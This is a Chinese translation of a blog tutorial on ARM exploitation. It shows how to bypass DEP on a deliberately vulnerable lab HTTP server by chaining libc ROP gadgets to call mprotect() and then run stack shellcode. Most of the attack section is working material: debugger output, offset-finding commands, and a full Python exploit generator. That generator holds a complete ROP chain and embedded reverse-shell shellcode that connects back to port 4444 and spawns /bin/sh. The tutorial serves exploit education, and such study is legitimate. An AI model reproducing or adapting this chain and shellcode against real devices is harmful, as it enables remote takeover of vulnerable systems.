ARM EXP 开发 - 绕过 DEP 执行 mprotect()

2019-11-16 约 1429 字 预计阅读 7 分钟

声明:本文 【ARM EXP 开发 - 绕过 DEP 执行 mprotect()】 由作者 H4lo 于 2019-11-16 11:01:14 首发 先知社区 曾经 浏览数 83 次

感谢 H4lo 的辛苦付出!

这一部分的目的是通过一个已知的脆弱目标开发一个ROP链的整个过程。在本例中,我构建了一个简单易受攻击的HTTP服务器(myhttpd),它在端口8080上的armbox上本地运行。我们发现受攻击的守护进程的URL参数中存在堆栈溢出。有关如何构建myhttpd或实验环境设置的详细信息,请参阅本系列的第一篇文章

查看内存映射

正如我在上一篇文章中已经提到的,我们需要一部分加载的二进制文件(.text segment,dynamicly loaded libary),在其中搜索 gadget。我用libc做我的ROP链。您可以使用任何其他或多个其他部件。

启动调试器,附加到易受攻击的进程并显示内存映射:

[root@armbox ~]# r2 -d $(pidof myhttpd)
= attach 757 757
bin.baddr 0x00400000
Using 0x400000
asm.bits 32
 -- Don't look at the code. Don't look.
[0xb6ef862c]> dmm
0x00400000 /usr/bin/myhttpd
0xb68c2000 /usr/lib/libgcc_s.so.1
0xb68ef000 /usr/lib/libdl-2.28.so
0xb6902000 /usr/lib/libffi.so.6.0.4
0xb691a000 /usr/lib/libgmp.so.10.3.2
0xb6988000 /usr/lib/libhogweed.so.4.4
0xb69c6000 /usr/lib/libnettle.so.6.4
0xb6a0d000 /usr/lib/libtasn1.so.6.5.5
0xb6a2d000 /usr/lib/libunistring.so.2.1.0
0xb6ba9000 /usr/lib/libp11-kit.so.0.3.0
0xb6cae000 /usr/lib/libz.so.1.2.11
0xb6cd3000 /usr/lib/libpthread-2.28.so
0xb6cfd000 /usr/lib/libgnutls.so.30.14.11
0xb6e5a000 /usr/lib/libc-2.28.so
0xb6fa5000 /usr/lib/libmicrohttpd.so.12.46.0
0xb6fce000 /usr/lib/ld-2.28.so
[0xb6ef862c]>

使用的库/二进制文件的(r-x)段越大,就越有机会找到好的gagets。

所以我选择:

0xb6e5a000 /usr/lib/libc-2.28.so

查看溢出

让我们测试一个溢出!我们将发送一个长的URL到“myhttpd”,并检查寄存器和堆栈。

[root@armbox ~]# cat post_overflow                                                                        │[root@armbox ~]# while true; do gdbserver --attach :5000 $(pidof myhttpd);done                            
GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│Attached; pid = 9360                                                                                      
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1│Listening on port 5000                                                                                    
.1

守护进程崩溃了,我们看到PC被0x41414140覆盖。发生什么事了?正如我在本系列的第二部分中所解释的,溢出覆盖了非叶函数的已保存LR。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。

关于最低有效位的一个注意事项:BX指令基本上将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换核心:ARM(LSB=0)/Thumb(LSB=1)。保存的LR(用0x414141覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x41414140。

如我们所见,R11还包含我们的值0x41414141。这意味着overflown函数将LR和R11存储并从堆栈中恢复。一些编译器使用R11作为引用来指向函数调用(帧指针)中的局部变量:

然后变量在该函数中作为FP+offset访问。

此外,正如我们在下面中看到的,堆栈包含“A”!因此我们控制PC,R11的值,并且在堆栈上有一些空间。很好。

让我们更深入地研究一下这个堆栈。以下几行显示崩溃后myhttpd进程的内存:

[0x41414140]> dm
0x00400000 # 0x00401000 - usr     4K s r-x /usr/bin/myhttpd /usr/bin/myhttpd ; loc.imp._ITM_registerTMCloneTable
0x00410000 # 0x00411000 - usr     4K s r-- /usr/bin/myhttpd /usr/bin/myhttpd                    
0x00411000 # 0x00412000 - usr     4K s rw- /usr/bin/myhttpd /usr/bin/myhttpd ; obj._GLOBAL_OFFSET_TABLE
0x00412000 # 0x00433000 - usr   132K s rw- [heap] [heap]                                        
0xb5500000 # 0xb5521000 - usr   132K s rw- unk0 unk0                                            
0xb5521000 # 0xb5600000 - usr   892K s --- unk1 unk1                                                    
0xb56ff000 # 0xb5700000 - usr     4K s --- unk2 unk2                                                    
0xb5700000 # 0xb5f00000 - usr     8M s rw- unk3 unk3                                                    
0xb5f00000 # 0xb5f21000 - usr   132K s rw- unk4 unk4                                                    
0xb5f21000 # 0xb6000000 - usr   892K s --- unk5 unk5                                                
0xb60bf000 # 0xb60c0000 - usr     4K s --- unk6 unk6                                                
0xb60c0000 # 0xb68c2000 - usr     8M s rw- unk7 unk7                                                
[...]
loaded libraries
[...]
0xbefdf000 # 0xbf000000 - usr   132K s rw- [stack] [stack]
0xffff0000 # 0xffff1000 - usr     4K s r-x [vectors] [vectors]

一个值得注意的事情是,SP(SP=0xb5efea50)并没有指向为[堆栈]的部分,而是指向映射库上面(按地址)的一个段:

0xb5521000 # 0xb5600000 - usr   892K s --- unk1 unk1

了解这里发生了什么是值得的。现在,我不确定为什么r2的dm(或gdb的vmmap)在这里不显示(rw-)权限-我假设我们看到了主进程的(rw-)映射。使用的microhttpd库打开一个侦听器线程,然后为每个新连接打开一个工作线程。

检查以下strace以了解正在发生的情况(pid 363是侦听器线程,370是工作线程):

[pid   363] mmap2(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0xb56ff000
[pid   363] mprotect(0xb5700000, 8388608, PROT_READ|PROT_WRITE) = 0
[pid   363] clone(child_stack=0xb5efef98, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0xb5eff4c8, tls=0xb5eff920, child_tidptr=0xb5eff4c8) = 370

你可以在这里找到整个 strace。

我们看到侦听器线程(glibc)正在为线程准备一个堆栈,并为其分配一个appropriate子堆栈。我花了一些时间才明白。。。为了使记忆地图形象化,我画了一张图。。。:

+------------------+-------------------------------------------------------------------------------------------+
|                  |                                                                                           |
|  No R/W          |                                      ...AAAAAAA               pthread_t, TLS of thread    |
|  permissions     |    mprotect(RW)                                               <-------------------------> |
|                  |                                                                                           |
+------------------+--------------------------------------------------------------+----------------------------+
0xb56ff000      0xb5700000                                          ^             ^                   0xB5F00000
                                                                    |             |
  guard memory                      thread stack growing downwards  |             +
<-----------------> <-----------------------------------------------------------+ 0xb5efef98
                                                                    |             SP of thread at creation
                                                                SP at crash
                                                                 0xb5efea50

mmap2()分配没有(--)权限的内存块(8392704字节,从0xb56ff000开始)(请参阅系统调用mmap2(),参数PROT_NONE)。然后,mprotect()将(rw-)权限添加到该内存区域的某个部分,但在开始时会遗漏一点(8388608字节,从0xb570000开始)。线程堆栈(clone()的子堆栈参数)将指向(rw-)区域。由于堆栈向下扩展内存区域,因此没有(rw-)权限的堆栈将充当保护页。由于堆栈已经增长了一点,所以我们在崩溃后观察到的SP值指向一个地址,这个地址比初始子堆栈值小一点。

好吧,让我们总结一下:我们控制了执行流,还获得了一些内存来存储我们的ROP链!

确定偏移

我们在上一篇文章中已经了解到,了解堆栈布局对于构建堆栈溢出至关重要。如果堆栈中存储了大量或较大的局部变量,则必须将ROP负载向更高的内存区域移动许多字节,才能达到保存的LR。因此,下一步是找到正确的偏移量(overflowgen.py脚本中的shifter变量,我将很快介绍),以便将第一个gadget的地址(因此整个ROP链和溢出数据)准确地移到保存的LR所在的位置。多年来,已经开发了很多工具来简化这项任务,其中一个包含在metasploit框架中(/usr/share/metasploit framework/tools/pattern_create.rb)。但由于我们使用的是radare2,我们可以使用ragg2的内置Bruijin模式生成器:

[root@armbox ~]# BRUIJN=`ragg2 -r -P 250| tr -d '\n'`; echo -e "GET $BRUIJN HTTP/1.1\n" | nc 127.0.0.1 808│COMM may either be a tty device (for serial debugging),                                                   
0                                                                                                         │HOST:PORT to listen for a TCP connection, or '-' or 'stdio' to use

正如您所看到的,ragg2并不避免将1放入LSB中(不过,我不知道metasploit是否这样做)。因此,如果ragg2没有找到偏移量,请尝试使用+1:

  • PC: 144 Bytes
  • SP: 148 Bytes

为了参考生成和查询Bruijin模式的命令行:

BRUIJN=`ragg2 -r -P 250| tr -d '\n'`; echo -e "GET $BRUIJN HTTP/1.1\n" | nc 127.0.0.1 8080

然后可以使用ragg2查询找到的偏移量:ragg2-q 0x。。。。

利用漏洞

根据ROP链的长度,基本上可以执行所有在shellcode中执行的命令。尽管如此,堆栈上的空间可能会受到限制,而且构建、测试和执行shellcode要简单得多。现在我们有两个相互冲突的目标:我们在堆栈上有shellcode的内存空间,但是堆栈只有(rw-)-我们不能执行它。在创建工作线程堆栈时,我们已经遇到了systemcall mprotect()。没有什么能阻止我们再次使用该系统调用来生成堆栈(rwx)而不是(rw-),然后从堆栈中执行shellcode。许多经典的ROP链正是使用这种技术。。。

定义目标:mprotect()的参数

mprotect()的原型:

int mprotect(void *addr, size_t len, int prot);

*addr是mprotect()开始应用权限的地址。结果是:在调用之后,下一个len字节将设置通过prot参数传递的权限。参数prot必须是以下值的异或:

32 #define PROT_READ       0x1             /* Page can be read.  */
33 #define PROT_WRITE      0x2             /* Page can be written.  */
34 #define PROT_EXEC       0x4             /* Page can be executed.  */
35 #define PROT_NONE       0x0             /* Page can not be accessed.  */

mman-linux.h

我们的目标寄存器值是:

  • R0:线程堆栈的地址。*addr必须与系统页面大小(通常为4096字节)对齐。您希望R0小于将加载外壳代码的地址。

  • R1:一些值,以确保我们的堆栈可以执行。

  • R2:0x7

上一个ROP gadget的链式指令将指向libc中mprotect()的地址。mprotect()将返回,下一步将执行shellcode。我想现在是讨论链式指令的好时机。。。

链接指令-处理BX LR

在本系列的第二部分中,当我解释了ROP的一般思想时,我已经准备好丢弃两个具有不同链接指令的gadget:POP{…,PC}和BLX R4。然后我们讨论了叶函数和非叶函数,比较了它们的结论,发现在叶函数中使用BX LR返回调用方。当然,这些指令也用作gadget的链接指令。既然我们不能太挑剔gadget,我们就得用我们得到的gadgets。

我认为在这一点上,我们应该很好地连锁gadget(如果没有看到上一篇文章的话)如POP{…,PC}。但是我们如何处理BX-LR?一种方法是在使用gadget(使用BX-LR作为链接指令)之前,每次使用下一个gadgets地址准备LR寄存器。这当然是可能的,但在空间方面成本相当高,而且效果不太好。一种更优雅的方法是将LR指向一个gadget,该gadget执行类似POP{PC}的操作,这样我们就可以使用BX LR gadget,只需将下一个gadget的地址推送到堆栈上。一个简单的例子:

执行流程:

LR: 0xaaaaaaaa

    +-------+ 0xaaaaaaaa : pop {pc}    <-----+ 2)
    |                                        +
 3) |         0xbbbbbbbb : mov r0, #1337, bx lr <---------+ 1)
    |
    +------>  0xcccccccc : mov r2, r1, pop {r11, pc}

执行时堆栈布局:

SP
              +  0xa...     0xc...
              | +--->   +---------->
              v
+---------------------+-------+------------------------------+
|             |   0x  | JUNK  | value|                       |
|             |   cc  | value | for  |                       |
|             |   cc  | for   | PC   |                       |
|             |   cc  | R11   |      |                       |
|             |   cc  |       |      |                       |
+-------------+-------+-------+------+-----------------------+
0x0

我们希望首先在0xbbbbb执行gadget,然后在0xcccccccc执行gadget。LR指向位于0xaaaaaaaa的gadget。当gadget使用BX-LR作为链接指令时,BX-LR将跳转到0xaaaaaaaa,将SP处的值弹出到PC中,然后继续执行。在我们的例子中,我们准备ROP链的方式是0xaaaaaaaa将地址0xcccccccc弹出到PC中。每次我们现在使用BX LR 的gadget时,我们可以将下面的gadget地址推送到堆栈上,从而以更方便的方式链接它们。

有时有链式指令在任何组合中使用BL,比如BLX R7。当我们无法避免使用这样一个gadget时,我们必须恢复LR中的值以再次指向0xaaaaaaaa,因为BL指令将用PC+4更新LR。

使用 ropper

我们如何找到gadget?您可以使用objdump手动分解和反汇编它们。。。但那是一种痛苦。让我介绍一下ropper:

ropper可以很容易地安装在python virtualenv中。检查GitHub以获取说明。

我将让以下解释最重要的特征:

dimi@dimi-lab ~ % cd arm-rop                                                                              │0x0000220e (0x0000220f): pop {r0, r3, r4, r6, r7, pc};                                                    
dimi@dimi-lab ~/arm-rop % source ~/bin/ropper/bin/activate                                                │0x00035594 (0x00035595): pop {r0, r4, pc};                                                                
(ropper) dimi@dimi-lab ~/arm-rop % ropper --file libc-2.28.so --console                                   │0x000277e4 (0x000277e5): pop {r0, r4, r5, r6, r7, pc};                                                    
[INFO] Load gadgets from cache                                                                            │0x000021e0 (0x000021e1): pop {r0, r4, r5, r7, pc};                                                        
[LOAD] loading... 100%                                                                                    │0x000038fc (0x000038fd): pop {r0, r5, pc};                                                                
[LOAD] removing double gadgets... 100%                                                                    │0x0005d738 (0x0005d739): pop {r1, r2, r3, r7, pc};                                                        
(libc-2.28.so/ELF/ARM)>

参数/1/指定找到的gadget的质量,它基本上代表每个gadget的指令数。/1/将找到gadgets,其中第一条指令与seach参数匹配,第二条是链接opcde。/2/因此将找到额外的gadget,它们在链接一条指令之前有第二条指令。你也可以使用这些指令,只要它们不干扰你的ROP链。。。

Ropper显示在搜索的二进制文件中找到的指令的偏移量。在本文的第一部分中,我们已经了解了库在内存中的位置。为了在libc中使用这些gadget,我们将把offset roppers显示给基址,我们已经发现了。

您已经知道ARM指令是32位长的,而Thumb指令只有16位。我们可以使用这个事实,通过将32位ARM指令一分为二,将它们解释为16位拇指指令。如果我们设置arch ARMTHUMB,Ropper会自动执行此操作。注意:正如您在上面的asciinima中看到的,如果我们将ARMTHUMB设置为架构,ropper将显示两列偏移(红色和绿色)。绿色的是您要选择作为偏移的那个。您将注意到绿色地址的LSB为1,因此当执行gadget时,内核将自动跳转到thumb模式。

ROP ROP ROP

下一步是构建ROP链,它

  1. 设置R0、R1和R2,以便在调用mprotect()后重新映射威胁的堆栈区域(rwx)

  2. 调用mprotect()

  3. 跳到堆栈上的外壳代码

目前我不认为这将有助于解释ROP链。如果你想要解释,请联系我,我会加上一个。在此之前,我希望嵌入的评论和下面的要点足够了。

  • 我的ROP链注释符号:

  • (7): new (7th) gadget

  • (7 p1): parameter 1 to gadget (7)
  • ergo: "(15 p1): (16) mov r0, #56" means that parameter 1 of gadget 15 is the address of gadget (16).

  • 准备 mprotect() 调用

  • 如何准备R0:将SP+4加载到R0(11)中,通过计算R0&&R1将值与4096(我的系统上的页面大小)(14)对齐(SP的0xFFFFF001-LSB始终为0)。R1被gadget初始化(9p2)。

  • 如何准备R1:加载0x01010101(15 p1)
  • 如何准备R2:将0xffffffffffff-0x29加载到R6(3 p4)中,添加0x31(=0x7)(4)。然后将R6移到R2(6)
  • mprotect() 被调用在 (15 p2)

  • 当mprotect()返回时,它将执行我们准备好的BX LR slide,它将执行POP{PC},并从堆栈加载最后一个gadget的地址。然后执行最后一个gadget(16):BLX SP。因为SP现在指向直接附加到ROP链的shellcode,所以我们将执行shellcode。

  • 我使用的shellcode来自Azerias关于ARM shellcode的伟大教程-在本例中是TCP反向shellcode,它连接回4444端口。我将connectback IP更改为192.168.250.1。这意味着被利用的myhttpd进程将连接回主机系统上的netcat侦听器。

其他gadget,这是我的ROP链的一部分(见下面的脚本)用于设置BX LR,恢复它,准备值,等等。。。

ROP链嵌入在我的overflowgen.py脚本中(见下文),这将使ROP链的开发更加容易。花点时间理解脚本及其特性,比如--human和——httpencode。你可以在下一节读到关于我使用--human。

前几个变量(shift、shellcode、fmt、base)取决于您的环境。在本文中,我们找到了base、shift(offset)的值。检查它们,确保您了解它们的工作以及我们在本教程中是如何找到它们的。

您可以在下面的脚本中找到我用来利用myhttpd作为溢出变量的ROP链。

import struct
import sys
import argparse
from urllib.parse import quote_from_bytes

parser = argparse.ArgumentParser()
parser.add_argument('--human', help='print overflow string human readable', action='store_true', default=False)
parser.add_argument('--httpencode', help='HTTP encode overflow data (not pre_out() and post_out() data', action='store_true', default=False)
args = parser.parse_args()

# <I little endian unsigned integer
# adjust to your CPU arch
global fmt
fmt='<I'

# base address in the process memory of the library you want to use for your ROP chain
base=0xb6e5a000

# how many bytes should we shift? memory: [shift*"A"+data()+lib(),...]
shift=144
shifter = [bytes(shift*'A','ascii'),'shifter']
shellcode = b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x52\x40\x49\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\xfa\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58'

def pre_out():
    print("GET ", end='')

def post_out():
    print(" HTTP/1.1\r\n\r\n\r\n", end='')

def data(data, cmt=''):
    return [struct.pack(fmt,data),cmt]

def lib(offset, cmt=''):
    return [struct.pack(fmt,base+offset),cmt]

def out(data):
    data = [d[0] for d in data]
    b = bytearray(b''.join(data))
    pre_out()
    sys.stdout.flush()
    if shellcode != '':
        for x in shellcode:
            b.append(x)
    if args.httpencode:
        b = quote_from_bytes(b)
        print(b, end='')
    if not args.httpencode:
        sys.stdout.buffer.write(b)
    sys.stdout.flush()
    post_out()
    sys.stdout.flush()

def out_human(data):
    pre_out()
    sys.stdout.flush()
    b = '['
    for d in data:
        b+='0x'+d[0].hex()+' = '+d[1]+'|'
    if shellcode != '':
        b += shellcode.hex()
    b += ']'
    print(b,end='')
    sys.stdout.flush()
    post_out()
    sys.stdout.flush()

if args.human:
    fmt = '>I'

overflow =  [
        shifter,
        # prepare BX LR slider, chaining with r3
        lib(0x00103251), # (1): 0x00103250 (0x00103251): pop {r3, r7, pc};
        lib(0x0000220f,'r3'), # (1 p1): prepare r3 for gadget (3) 0x0000220e (0x0000220f): pop {r0, r3, r4, r6, r7, pc};
        data(0x56565656,'r7'), # (1 p2): JUNK
        lib(0x0005c038,'pc'), # = (1 p3: ) (2): 0x0005c038: pop {lr}; bx r3;
        lib(0x000db435,'lr'), # = (2 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};
        # / prepare BX LR slider
        lib(0x00024cb4,'r0'), # (3 p1) (5:) and r0, r0, #1; bx lr;
        lib(0x00103251, 'r3'), # (3 p2) (7:) restore lr,
        data(0x54545454,'r4'), # (3 p3) # JUNK
        data(0xFFFFFFFF-0x29,'r6'), # (3 p4):  value for (4) gadget
        data(0x57575757,'r7'), # (3 p5)
        lib(0x00012f6f,'PC'), # (3 p6) (4:) adds r6, #0x31; bx r0;
        lib(0x0003ea84), # (5 p1 bx lr) (6:) mov r2, r6; blx r3;
        lib(0x00116b80), # (7: p1) (9:) 0x00116b80: pop {r1, pc};
        data(0x57575757), # (7 p2)
        lib(0x0005c038,'pc'), # = (7 p3: ) (8:) 0x0005c038: pop {lr}; bx r3; (2)
        lib(0x000db435,'lr'), # = (8 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};
        data(0xFFFFF001, 'r1'), #( 9 p1)
        lib(0x00103251), # (9 p2) (10:) 0x00103250 (0x00103251): pop {r3, r7, pc};

        lib(0x00103251,'r3'),  # (10 p1) (11:) 0x00103250 (0x00103251): pop {r3, r7, pc};
        data(0x56565656,'r7'), # (10 p2)
        lib(0x00107cb4, 'PC'), # (10 p3) add r0, sp, #4; blx r3;

        lib(0x00024e54, 'R3'), # (11 p1), (13:) #0x00024e54: and r0, r0, r1; bx lr;
        data(0x57575757,'r7'), # (11 p2)
        lib(0x0005c038,'pc'), # (11 p3: ) (12): 0x0005c038: pop {lr}; bx r3;
        lib(0x000db435,'lr'), # (12 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};

        lib(0x00116b80), # (13 p1) (14:) 0x00116b80: pop {r1, pc};
        data(0x10101010, 'r1'), # (14 P1)
        lib(0x000d22d0,'PC'), # (14 p2) mprotect
        lib(0x00034d1d,'PC') # blx sp

        ]

if args.human:
    out_human(overflow)
else:
    out(overflow)

ROP链开发过程

我的流程目前如下:

  • 我一次只添加一个gadget。

  • 在将负载发送到易受攻击的进程之前,我附加了调试器。

  • 我设置新的gadget的方式是,PC将成为一些已知的东西,同样为寄存器。

  • 在我执行有效负载之后,我检查寄存器以检查gadget是否成功执行。

为了简化这个任务,我在脚本中添加了一个--human选项,它基本上打印了以下输出:

[root@armbox ~]# python overflowgen-myhttpd.py  --human
GET
[0x41[...]1414141414141414141414141 = shifter|0xb6f5d251 = |0xb6e5c20f = r3|0x56565656 = r7|
0xb6eb6038 = pc|0xb6f35435 = lr|0xb6e7ecb4 = r0|0xb6f5d251 = r3|0x54545454 = r4|0xffffffd6 = r6|
0x57575757 = r7|0xb6e6cf6f = PC|0xb6e98a84 = |0xb6f70b80 = |0x57575757 = |0xb6eb6038 = pc|
0xb6f35435 = lr|0xfffff001 = r1|0xb6f5d251 = |0xb6f5d251 = r3|0x56565656 = r7|0xb6f61cb4 = PC|
0xb6e7ee54 = R3|0x57575757 = r7|0xb6eb6038 = pc|0xb6f35435 = lr|0xb6f70b80 =
|0x10101010 = r1|0xb6f2c2d0 = PC|0xb6e8ed1d = PC|01308fe213ff2fe102200121921ac827513701df041c0aa14a701022023701df3f27201c491a01df201c012101df201c022101df04a052404940c2710b2701df02ff115cc0a8fa012f62696e2f736858] HTTP/1.1

添加gadget后,您可以人工打印负载并检查寄存器是否与计划值匹配。

一般的目标

请注意:并非所有寄存器都是相等的,至少在使用的libc上是这样。把东西移赋值到R0很容易。。。

(ropper) dimi@dimi-lab ~/arm-rop % count=0; while [[ $count -le 12 ]]; do echo -n R$count": "; ropper --file libc-2.28.so --quality 1 --search "mov r$count,%" 2>/dev/null| grep ':' | wc -l; let count=count+1; done

search mov R0, any

R0: 88
R1: 14
R2: 7
R3: 8
R4: 1
R5: 1
R6: 2
R7: 1
R8: 0
R9: 0
R10: 0
R11: 0
R12: 0

...移动一些东西出去,也许不是这样:

(ropper) dimi@dimi-lab ~/arm-rop % count=0; while [[ $count -le 12 ]]; do echo -n R$count": "; ropper --file libc-2.28.so --quality 1 --search "mov %, r$count" 2>/dev/null| grep ':' | wc -l; let count=count+1; done

search mov any, R0

R0: 0
R1: 3
R2: 6
R3: 8
R4: 13
R5: 32
R6: 25
R7: 10
R8: 8
R9: 7
R10: 5
R11: 3
R12: 4

这只是一个例子,而且只有arm(不是ARMTHUMB),尽管如此有趣。

另一个重要的观点是:你用你的值得到的寄存器越少越好。正如您前面看到的,您可能需要“堆栈绑定”的寄存器——特别是在创建线程的进程中,这些寄存器可能很少。

原文链接:https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now